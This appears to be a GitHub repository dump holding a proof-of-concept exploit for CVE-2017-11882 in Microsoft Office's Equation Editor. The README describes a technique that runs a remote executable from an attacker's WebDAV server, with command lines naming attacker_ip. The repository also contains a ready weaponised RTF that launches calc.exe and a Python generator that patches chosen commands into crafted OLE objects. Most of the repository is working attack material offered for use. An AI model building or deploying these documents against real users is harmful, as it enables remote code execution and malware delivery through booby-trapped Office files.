[
  {
    "path": "README.md",
    "content": "# CVE-2017-11882\n\nCVE-2017-11882:\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882\n\nMITRE CVE-2017-11882:\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882\n\nResearch:\nhttps://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about\n\nPatch analysis:\nhttps://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html\n\nDEMO PoC exploitation:\nhttps://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410\n\n\n\n# webdav_exec CVE-2017-11882\n\nA simple PoC for CVE-2017-11882.\nThis exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server.\nThe reason why this approach might be handy is a limitation of executed command length.\nHowever with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine.\nThis script creates simple document with several OLE objects.\nThese objects exploits CVE-2017-11882, which results in sequential command execution.\n\n\nThe first command which triggers WebClient service start may look like this:\n\n```\ncmd.exe /c start \\\\attacker_ip\\ff\n```\n\nAttacker controlled binary path should be a UNC network path:\n\n```\n\\\\attacker_ip\\ff\\1.exe\n```\n\n## Usage\n\n```python\nwebdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name\n```\n\n\n# Sample exploit for CVE-2017-11882 (starting calc.exe as payload)\n\n`example` folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.\n"
  },
  {
    "path": "example/exploit.rtf",
    "content": "{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}}\n{\\*\\generator Riched20 6.3.9600}\\viewkind4\\uc1\n\\pard\\sa200\\sl276\\slmult1\\f0\\fs22\\lang9{\\object\\objemb\\objupdate{\\*\\objclass Equation.3}\\objw380\\objh260{\\*\\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020cea5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006f006d0070004f0062006a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004f0062006a0049006e0066006f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b2710000000000000000000000000000000000000000000000000000000000000000000000000000000003000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4ee5b0000000000030101030a0a01085a5a636d642e657865202f632063616c632e65786520414141414141414141414141414141414141414141414141120c430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004500710075006100740069006f006e0020004e00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000004000000c5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000d0000004d45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d61746854797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e657720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a600190160a000000313131313131313131310c000000320a6001100f0a000000313131313131313131310c000000320a600190070a000000313131313131313131310c000000320a600110000a000000313131313131313131310a00000026060f000a00ffffffff0100000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff7cef1800040000002d01010004000000f0010000030000000000\n}{\\result{\\pict{\\*\\picprop}\\wmetafile8\\picw380\\pich260\\picwgoal380\\pichgoal260\n0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n00000000\n}}}\n\\par}\n"
  },
  {
    "path": "webdav_exec_CVE-2017-11882.py",
    "content": "import argparse\n\n\nRTF_HEADER = R\"\"\"{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}}\n{\\*\\generator Riched20 6.3.9600}\\viewkind4\\uc1\n\\pard\\sa200\\sl276\\slmult1\\f0\\fs22\\lang9\"\"\"\n\n\nRTF_TRAILER = R\"\"\"\\par}\n\"\"\"\n\n\nOBJECT_HEADER = R\"\"\"{\\object\\objemb\\objupdate{\\*\\objclass Equation.3}\\objw380\\objh260{\\*\\objdata \"\"\"\n\n\nOBJECT_TRAILER = R\"\"\"\n}{\\result{\\pict{\\*\\picprop}\\wmetafile8\\picw380\\pich260\\picwgoal380\\pichgoal260\n0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n00000000\n}}}\n\"\"\"\n\n\nOBJDATA_TEMPLATE = R\"\"\"\n01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1\nb11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001\n0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nfffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe\nfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000\n000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000\n0000000000000000000000000000000000000000000000000000001400000000000000010043006f\n006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000\n00000000000000000000000000000000000000000000000000000000000000010000006600000000\n00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff\nffffff00000000000000000000000000000000000000000000000000000000000000000000000003\n0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\nffffff01000002080000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02\nce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e\n30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000\n00000000000000000000000000000000000000000000000000000000000000000000000000030004\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4\nee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141\n414141414141414141414141414141414141414141120c4300000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000004500710075\n006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000\n0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000\n0000000000000000000000000000000000000000000000000000000000000004000000c500000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff\nffffff00000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n000000000000000000000000000000000000000000000000000000000000000000000000000000ff\nffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000001050000050000000d0000004d\n45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500\n000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00\n050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00\nffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468\n54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65\n7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001\n90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131\n0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131\n31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000\n0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff\n7cef1800040000002d01010004000000f0010000030000000000\n\"\"\"\n\n\nCOMMAND_OFFSET = 0x949*2\n\n\ndef create_ole_exec_primitive(command):\n    if len(command) > 43:\n        raise ValueError(\"primitive command must be shorter than 43 bytes\")\n    hex_command = command.encode(\"hex\")\n    objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, \"\\r\\n\")\n    ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):]\n    return OBJECT_HEADER + ole_data + OBJECT_TRAILER\n\n\ndef create_rtf(header, trailer, remote_location, remote_file):\n    ole1 = create_ole_exec_primitive(\"cmd.exe /c start \" + remote_location + \" &\")\n    ole2 = create_ole_exec_primitive(remote_file + \" &\")\n    # We need 2 or more commands for executing remote file from WebDAV\n    # because WebClient service start may take some time\n    return header + ole1 + ole2 + ole2 + ole2 + trailer\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description=\"PoC for CVE-2017-11882\")\n    parser.add_argument(\"-u\", \"--url\", help=\"Remote location to trigger WebClient service\", required=True)\n    parser.add_argument(\"-e\", \"--executable\", help=\"Remote executable in WebDAV path\", required=True)\n    parser.add_argument('-o', \"--output\", help=\"Output exploit rtf\", required=True)\n\n    args = parser.parse_args()\n\n    rtf_content = create_rtf(RTF_HEADER, RTF_TRAILER, args.url, args.executable)\n\n    output_file = open(args.output, \"w\")\n    output_file.write(rtf_content)\n\n    print \"!!! Completed !!!\"\n"
  }
]